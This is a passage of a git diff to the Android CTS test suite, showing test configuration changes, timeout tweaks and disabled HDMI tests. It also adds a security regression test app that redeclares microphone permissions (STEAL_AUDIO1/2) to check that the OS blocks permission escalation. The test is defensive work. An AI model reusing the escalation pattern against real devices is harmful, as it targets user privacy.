+ private static boolean isPermissionGrantedInPackageInfo(String permissionName)
+ throws Exception {
+ final Context context = InstrumentationRegistry.getContext();
+ final PackageInfo packageInfo = context.getPackageManager().getPackageInfo(
+ context.getPackageName(), PackageManager.GET_PERMISSIONS);
+ final int permissionIndex = Arrays.asList(packageInfo.requestedPermissions).indexOf(
+ permissionName);
+ assertThat(permissionIndex, is(not(-1)));
+ return (packageInfo.requestedPermissionsFlags[permissionIndex]
+ & PackageInfo.REQUESTED_PERMISSION_GRANTED) != 0;
+ }
+
+ @Test
public void testExposedActivity() throws Exception {
final Bundle testArgs = InstrumentationRegistry.getArguments();
assertThat(testArgs, is(notNullValue()));
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
index bec27ae..5a2a252 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/Android.bp
@@ -25,6 +25,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
index b7801a9..65fd66f 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
@@ -26,6 +26,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
srcs: ["src/**/*.java"],
resource_dirs: ["res"],
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
index 4a460b1..51417fd 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UnexposedApp/Android.bp
@@ -22,6 +22,7 @@
test_suites: [
"cts",
"general-tests",
+ "sts",
],
resource_dirs: ["res"],
sdk_version: "current",
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
similarity index 64%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index f720d7d..24043ad 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2019 The Android Open Source Project
+//
+// Copyright (C) 2016 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -13,14 +14,22 @@
// limitations under the License.
//
-android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
- defaults: ["cts_defaults"],
+android_test {
+ name: "CtsEscalateToRuntimePermissions",
+ defaults: ["cts_support_defaults"],
+ static_libs: ["androidx.test.rules"],
+ srcs: ["src/**/*.java"],
sdk_version: "current",
- // Tag this module as a cts test artifact
test_suites: [
"cts",
+ "vts",
"general-tests",
+ "mts",
],
- certificate: ":cts-testkey2",
+ optimize: {
+ enabled: false,
+ },
+ dex_preopt: {
+ enabled: false,
+ },
}
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
new file mode 100644
index 0000000..1ac2790
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.escalate.permission">
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="dangerous"/>
+
+ <permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"
+ android:permissionGroup="android.permission-group.MICROPHONE"
+ android:protectionLevel="dangerous"/>
+
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO1"/>
+ <uses-permission android:name="com.android.cts.escalate.permission.STEAL_AUDIO2"/>
+
+ <application/>
+
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.escalate.permission" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
new file mode 100644
index 0000000..bd208bc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/res/values/strings.xml
@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Just need this dummy file to force building Manifest.java. -->
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+ <string name="keysets_perm_desc">keysets_perm_description</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
new file mode 100644
index 0000000..7d866ab
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.escalatepermission;
+
+import static org.junit.Assert.assertSame;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.escalate.permission.Manifest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class PermissionEscalationTest {
+ @Test
+ public void testCannotEscalateNonRuntimePermissionsToRuntime() throws Exception {
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ // Ensure normal permission cannot be made dangerous
+ PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+ assertSame("Shouldn't be able to change normal permission to dangerous",
+ PermissionInfo.PROTECTION_NORMAL, (stealAudio1Permission1.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ // Ensure signature permission cannot be made dangerous
+ PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+ assertSame("Shouldn't be able to change signature permission to dangerous",
+ PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+ }
+
+ @Test
+ public void testRuntimePermissionsAreNotGranted() throws Exception {
+ // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+ // during runtime but can become one during reboot.
+ Context context = InstrumentationRegistry.getTargetContext();
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+ PackageManager.PERMISSION_DENIED);
+
+ // Ensure permission is now dangerous but denied
+ PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+ .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+ assertSame("Signature permission can become dangerous after reboot",
+ PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+ & PermissionInfo.PROTECTION_MASK_BASE));
+
+ assertSame("Permission should be denied",
+ context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+ PackageManager.PERMISSION_DENIED);
+ }
+}
diff --git a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
index 7d94aed..af75c90 100644
--- a/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageStatsApp/src/com/android/cts/storagestatsapp/StorageStatsTest.java
@@ -197,6 +197,9 @@
// Rename to ensure that stats are updated
video.renameTo(new File(dir, System.nanoTime() + ".PnG"));
+ // Since we have MANAGE_EXTERNAL_STORAGE, need to ask for a re-scan
+ MediaStore.scanFile(getContext().getContentResolver(), dir);
+ MediaStore.scanFile(getContext().getContentResolver(), downloadsDir);
MediaStore.waitForIdle(getContext().getContentResolver());
final ExternalStorageStats afterRename = stats.queryExternalStatsForUser(UUID_DEFAULT, user);
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 8a4f45c..6b41018 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -62,7 +62,7 @@
"com.android.cts.crossprofileappstest:id/user_textview";
private static final String ID_USER_TEXTVIEW_NONMAIN =
"com.android.cts.crossprofileappstest:id/user_textview_nonmain";
- private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+ private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(15);
private CrossProfileApps mCrossProfileApps;
private UserHandle mTargetUser;
diff --git a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
index 82ce679..9bb371b 100644
--- a/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceAndProfileOwner/src/com/android/cts/deviceandprofileowner/UserRestrictionsParentTest.java
@@ -32,6 +32,7 @@
import com.google.common.collect.ImmutableSet;
+import java.util.concurrent.TimeUnit;
import java.util.Set;
public class UserRestrictionsParentTest extends InstrumentationTestCase {
@@ -89,9 +90,15 @@
hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isTrue();
}
- public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() {
- assertThat(mUserManager.
- hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)).isFalse();
+ public void testUserRestrictionDisallowConfigDateTimeIsNotPersisted() throws Exception {
+ final long deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(30);
+ while (System.nanoTime() <= deadline) {
+ if (!mUserManager.hasUserRestriction(UserManager.DISALLOW_CONFIG_DATE_TIME)) {
+ return;
+ }
+ Thread.sleep(100);
+ }
+ fail("The restriction didn't go away.");
}
public void testAddUserRestrictionDisallowAddUser_onParent() {
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index c40dade..3c2440d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -196,9 +196,6 @@
removeOrgOwnedProfile();
assertHasNoUser(mUserId);
- // Make sure the user restrictions are removed before continuing
- waitForBroadcastIdle();
-
// User restrictions are not persist after organization-owned profile owner is removed
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
"testUserRestrictionDisallowConfigDateTimeIsNotPersisted", mPrimaryUserId);
diff --git a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
index 88a3179..70f694d 100644
--- a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
+++ b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
@@ -45,7 +45,7 @@
@RunWith(AndroidJUnit4.class)
public class HarmfulAppWarningDeviceTest {
- private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(1);
+ private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(3);
private static final String ACTION_ACTIVITY_STARTED =
"android.harmfulappwarning.sampleapp.ACTIVITY_STARTED";
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
index c6f8c09..a8e43d3 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecAudioReturnChannelControlTest.java
@@ -29,12 +29,14 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to test audio return channel control (Section 11.2.17) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecAudioReturnChannelControlTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
index 6b349e3..accaa2f 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecInvalidMessagesTest.java
@@ -33,12 +33,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
/** HDMI CEC test to verify that device ignores invalid messages (Section 12) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecInvalidMessagesTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
index 5ee1045..151f5e0 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecLogicalAddressTest.java
@@ -30,12 +30,14 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.junit.Test;
/** HDMI CEC test to verify logical address after device reboot (Section 10.2.5) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecLogicalAddressTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
index 38eade7e..51f7351 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecRemoteControlPassThroughTest.java
@@ -27,11 +27,13 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
import org.junit.Test;
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecRemoteControlPassThroughTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
index 9733e34..b284215 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/audio/HdmiCecSystemAudioModeTest.java
@@ -35,6 +35,7 @@
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.After;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
@@ -47,6 +48,7 @@
import java.util.stream.IntStream;
/** HDMI CEC test to test system audio mode (Section 11.2.15) */
+@Ignore("b/162820841")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecSystemAudioModeTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
index 3e7f35a..69bc346 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
@@ -45,6 +45,7 @@
/**
* HDMI CEC test to verify physical address after device reboot (Section 10.2.3)
*/
+@Ignore("b/149519706")
@RunWith(DeviceJUnit4ClassRunner.class)
public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
index 6945249..95baefc 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -30,6 +30,7 @@
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
@@ -74,6 +75,7 @@
* the volume up and down keys are pressed on the DUT. Test also verifies that the
* <USER_CONTROL_PRESSED> message has the right control param.
*/
+ @Ignore("b/162836413")
@Test
public void cect_11_2_15_11_VolumeUpDownUserControlPressed() throws Exception {
ITestDevice device = getDevice();
@@ -101,6 +103,7 @@
* the mute key is pressed on the DUT. Test also verifies that the <USER_CONTROL_PRESSED>
* message has the right control param.
*/
+ @Ignore("b/162836413")
@Test
public void cect_11_2_15_12_MuteUserControlPressed() throws Exception {
ITestDevice device = getDevice();
diff --git a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
index d847e3c..6e7adc6 100644
--- a/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
+++ b/hostsidetests/incrementalinstall/src/android/incrementalinstall/cts/IncrementalInstallTest.java
@@ -135,11 +135,14 @@
public void testBaseApkMissingSignatureAdbInstall() throws Exception {
String newApkName = String.format("base%d.apk", new Random().nextInt());
// Create a copy of original apk but not its idsig.
- copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
- String output = installWithAdbInstaller(newApkName);
- verifyInstallCommandFailure(output);
- assertTrue(output.contains(String.format("Failed to stat signature file %s",
- getFilePathFromBuildInfo(newApkName) + SIG_SUFFIX)));
+ copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+ // Make sure it installs.
+ assertTrue(
+ installWithAdbInstaller(TEST_APP_BASE_APK_NAME).contains(INSTALL_SUCCESS_OUTPUT));
+ verifyPackageInstalled(TEST_APP_PACKAGE_NAME);
+ verifyInstallationTypeAndVersion(TEST_APP_PACKAGE_NAME, /* isIncfs= */ true,
+ TEST_APP_V1_VERSION);
+ validateAppLaunch(TEST_APP_PACKAGE_NAME, ON_CREATE_COMPONENT);
}
@@ -147,8 +150,9 @@
public void testBaseApkInvalidSignatureAdbInstall() throws Exception {
String newApkName = String.format("base%d.apk", new Random().nextInt());
String sigSuffix = ".idsig";
- copyTestFile(TEST_APP_BASE_APK_NAME, newApkName);
- copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, newApkName + sigSuffix);
+ File destApk = copyTestFile(TEST_APP_BASE_APK_NAME, null, newApkName);
+ copyTestFile(TEST_APP_BASE_APK_NAME + sigSuffix, destApk.getParentFile(),
+ newApkName + sigSuffix);
try (RandomAccessFile raf = new RandomAccessFile(
getFilePathFromBuildInfo(newApkName + sigSuffix), "rw")) {
// Contaminate signature by complementing a random byte.
@@ -351,10 +355,11 @@
return mBuildHelper.getTestFile(filename).getAbsolutePath();
}
- private void copyTestFile(String sourceFilename, String destFilename) throws IOException {
+ private File copyTestFile(String sourceFilename, File destPath, String destFilename) throws IOException {
File source = new File(getFilePathFromBuildInfo(sourceFilename));
- File dest = new File(source.getParentFile(), destFilename);
+ File dest = new File(destPath != null ? destPath : source.getParentFile(), destFilename);
FileUtil.copyFile(source, dest);
+ return dest;
}
private void uninstallApp(String packageName) throws Exception {
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index b752b41..6ed0e60 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -18,6 +18,7 @@
import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
@@ -25,6 +26,8 @@
import android.content.Context;
import android.media.session.MediaController;
import android.media.session.MediaSessionManager;
+import android.media.session.MediaSessionManager.RemoteUserInfo;
+import android.os.Process;
import android.service.notification.NotificationListenerService;
import androidx.test.InstrumentationRegistry;
@@ -42,15 +45,16 @@
*/
@SmallTest
public class MediaSessionManagerTest extends NotificationListenerService {
- private ComponentName mComponentName;
+ private Context mContext;
private MediaSessionManager mMediaSessionManager;
+ private ComponentName mComponentName;
@Before
public void setUp() throws Exception {
- Context context = InstrumentationRegistry.getTargetContext();
- mMediaSessionManager = (MediaSessionManager) context.getSystemService(
- Context.MEDIA_SESSION_SERVICE);
- mComponentName = new ComponentName(context, MediaSessionManagerTest.class);
+ mContext = InstrumentationRegistry.getTargetContext();
+ mMediaSessionManager =
+ mContext.getSystemService(MediaSessionManager.class);
+ mComponentName = new ComponentName(mContext, MediaSessionManagerTest.class);
}
/**
@@ -95,4 +99,24 @@
List<MediaController> controllers = mMediaSessionManager.getActiveSessions(mComponentName);
assertTrue(controllers.isEmpty());
}
+
+ /**
+ * Tests if this application is trusted.
+ */
+ @Test
+ public void testIsTrusted_returnsTrue() throws Exception {
+ RemoteUserInfo userInfo = new RemoteUserInfo(
+ mContext.getPackageName(), Process.myPid(), Process.myUid());
+ assertTrue(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+ }
+
+ /**
+ * Tests if this application isn't trusted.
+ */
+ @Test
+ public void testIsTrusted_returnsFalse() throws Exception {
+ RemoteUserInfo userInfo = new RemoteUserInfo(
+ mContext.getPackageName(), Process.myPid(), Process.myUid());
+ assertFalse(mMediaSessionManager.isTrustedForMediaControl(userInfo));
+ }
}
diff --git a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
index 750e98c..e4956b0 100644
--- a/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
+++ b/hostsidetests/media/src/android/media/session/cts/MediaSessionManagerHostTest.java
@@ -251,6 +251,37 @@
runTest("testGetActiveSessions_hasMediaSessionFromMediaSessionTestHelper");
}
+ @AppModeFull
+ @RequiresDevice
+ public void testIsTrusted_withEnabledNotificationListener_returnsTrue() throws Exception {
+ if (!canCreateAdditionalUsers(1)) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+
+ int newUserId = createAndStartUser();
+ setAllowGetActiveSessionForTest(true, newUserId);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+ runTestAsUser("testIsTrusted_returnsTrue", newUserId);
+ }
+
+ @AppModeFull
+ @RequiresDevice
+ public void testIsTrusted_withoutEnabledNotificationListener_returnsFalse()
+ throws Exception {
+ if (!canCreateAdditionalUsers(1)) {
+ CLog.logAndDisplay(LogLevel.INFO,
+ "Cannot create a new user. Skipping multi-user test cases.");
+ return;
+ }
+
+ int newUserId = createAndStartUser();
+ setAllowGetActiveSessionForTest(false, newUserId);
+ installAppAsUser(DEVICE_SIDE_TEST_APK, newUserId, false);
+ runTestAsUser("testIsTrusted_returnsFalse", newUserId);
+ }
+
private void runTest(String testMethodName) throws DeviceNotAvailableException {
runTestAsUser(testMethodName, getDevice().getPrimaryUserId());
}
diff --git a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp b/hostsidetests/mediaparser/Android.bp
similarity index 63%
copy from tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
copy to hostsidetests/mediaparser/Android.bp
index f720d7d..87c9621 100644
--- a/tests/tests/permission/testapps/RevokePermissionWhenRemoved/InstalltimePermissionUserApp/Android.bp
+++ b/hostsidetests/mediaparser/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2019 The Android Open Source Project
+//
+// Copyright 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -13,14 +14,26 @@
// limitations under the License.
//
-android_test_helper_app {
- name: "CtsInstalltimePermissionUserApp",
+java_test_host {
+ name: "CtsMediaParserHostTestCases",
defaults: ["cts_defaults"],
- sdk_version: "current",
- // Tag this module as a cts test artifact
+ srcs: [
+ "src/**/*.java",
+ ],
test_suites: [
"cts",
+ "vts10",
"general-tests",
],
- certificate: ":cts-testkey2",
+ libs: [
+ "cts-tradefed",
+ "tradefed",
+ "compatibility-host-util",
+ ],
+ static_libs: [
+ "cts-host-utils",
+ ],
+ data: [
+ ":CtsMediaParserTestCasesApp",
+ ]
}
diff --git a/hostsidetests/mediaparser/AndroidTest.xml b/hostsidetests/mediaparser/AndroidTest.xml
new file mode 100644
index 0000000..7d53939
--- /dev/null
+++ b/hostsidetests/mediaparser/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS media host test cases">
